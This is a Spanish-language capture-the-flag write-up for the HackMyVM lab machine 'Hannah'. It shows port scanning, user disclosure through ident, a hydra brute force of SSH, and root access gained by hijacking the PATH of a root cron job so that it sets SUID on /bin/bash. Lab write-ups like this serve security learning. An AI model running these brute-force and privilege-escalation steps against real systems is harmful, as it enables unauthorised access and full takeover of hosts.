cd ~/blog

~/writeups/hmv/053-hannah.md

053 - Hannah

easy Linux hmv 29-03-2024
ident user disclosureWeak SSH PasswordPATH Hijacking (cron touch)
hackmyvm.eu/machines/machine.php?vm=Hannah

~1 min de lectura


Comenzamos con la enumeración de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.63
 nmap -sCV -p22,80,113 -oN 02-targeted.txt 192.168.1.63
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-29 13:57 -03
Nmap scan report for 192.168.1.63
Host is up (0.00036s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 5f:1c:78:36:99:05:32:09:82:d3:d5:05:4c:14:75:d1 (RSA)
|   256 06:69:ef:97:9b:34:d7:f3:c7:96:60:d1:a1:ff:d8:2c (ECDSA)
|_  256 85:3d:da:74:b2:68:4e:a6:f7:e5:f5:85:40:90:2e:9a (ED25519)
|_auth-owners: root
80/tcp  open  http    nginx 1.18.0
|_auth-owners: moksha
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/enlightenment
113/tcp open  ident?
|_auth-owners: root
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.03 seconds

El servicio ident (puerto 113), reflejado por el script auth-owners, revela que el servidor web corre bajo el usuario moksha. Enumeramos el sitio:

 gobuster dir -u 'http://192.168.1.63' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,gif,png -r
...
/index.html           (Status: 200) [Size: 19]
/robots.txt           (Status: 200) [Size: 25]
...

El robots.txt apunta a /enlightenment. Con el usuario moksha hacemos fuerza bruta contra SSH:

 hydra -l moksha -P ~/Documentos/wordlists/rockyou.txt 192.168.1.63 ssh -t 64
...
[22][ssh] host: 192.168.1.63   login: moksha   password: hannah
...

Nos conectamos y obtenemos la primera flag. La pista de enlightenment no se refiere a la conocida LPE, sino a un archivo /tmp/enlightenment. Revisamos las tareas cron:

moksha@hannah:~$ cat /etc/crontab
...
* * * * * root touch /tmp/enlightenment
...

El cron de root ejecuta touch por su nombre relativo. Comprobamos directorios escribibles del PATH:

...
drwxrwxrwx   3 root root  4096 ene  4  2023 media
...

/media es escribible, así que hacemos un PATH Hijacking: colocamos ahí un touch malicioso que da SUID a Bash:

moksha@hannah:/media$ echo "chmod u+s /bin/bash" > touch; chmod +x touch

Esperamos a que el cron lo ejecute y lanzamos una shell privilegiada:

moksha@hannah:/media$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 mar 27  2022 /bin/bash
moksha@hannah:/media$ bash -p
bash-5.1# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados